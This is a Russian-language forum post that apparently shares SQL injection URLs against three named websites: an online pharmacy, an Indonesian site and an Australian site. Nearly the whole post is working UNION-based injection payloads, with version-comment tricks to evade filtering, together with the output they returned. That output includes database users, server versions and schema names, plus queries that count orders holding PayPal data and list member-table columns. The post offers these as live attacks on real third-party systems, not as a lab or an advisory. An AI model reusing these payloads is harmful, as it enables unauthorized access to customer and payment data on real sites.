|
Познающий
Регистрация: 23.02.2019
Сообщений: 65
С нами:
3801206
Репутация:
10
|
|
Great Canadian Healthcare Mall
Вывода на страницу нет. Выводит в src аттрибут img тега.
Код:
view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,concat_ws('|',current_user,@@version),6,7,8,9,10%20--%20&ptab=description&title=Nitroglycerin
canazqik_user@localhost | 10.1.37-MariaDB-cll-lve
Отфильтровывает многие функции, в том числе database()
Код:
view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000sCheMA_naMe*/,6,7,8,9,10 from%20/*!50000infoRmaTioN_scHeMa.sCheMatA*/--%20&ptab=description&title=Nitroglycerin
canazqik_db
Берем все таблицы
Код:
view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000group_concat(table_name)*/,6,7,8,9,10 from%20/*!50000infoRmaTioN_scHeMa.tables*/ where table_schema='canazqik_db'--%20&ptab=description&title=Nitroglycerin
Считаем что там вообще есть
Код:
view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000count(*)*/,6,7,8,9,10 from%20orders where length(paypaldata)>3--%20&ptab=description&title=Nitroglycerin
Astinsriwedarisolo
Код:
http://www.astinsriwedarisolo.com/product.php?id=-111111111111111111111111111%27%20union%20select%20%271%27,concat_ws(%27|%27,%20database(),user(),version()),%273%27,%274%27,%275%27,%276%27--+
astin|astin@localhost|5.5.44
Код:
http://www.astinsriwedarisolo.com/product.php?id=-1%27%20union%20select%20%271%27,group_concat(column_name,0x0a)%20,%273%27,%274%27,%275%27,%276%27%20from%20information_schema.columns%20where%20table_schema%20like%20database()%20and%20table_name=%27arf_member%27--+
Для тех кому не лень с переводчиком сидеть
Miyabi
Код:
http://www.miyabi.com.au/item.php?id=281%20and%201%3E2%20union%20select%201,2,3,4,5,6,7,concat_ws(%27|%27,user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--+
driving_miyabi@bsd34.qnetau.com|driving_miyabi|5.7.21-log
Код:
http://www.miyabi.com.au/item.php?id=281%20and%201%3E2%20union%20select%201,2,3,4,5,6,7,user(),group_concat(column_name,0x0a),10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27MEMBER%27--+
|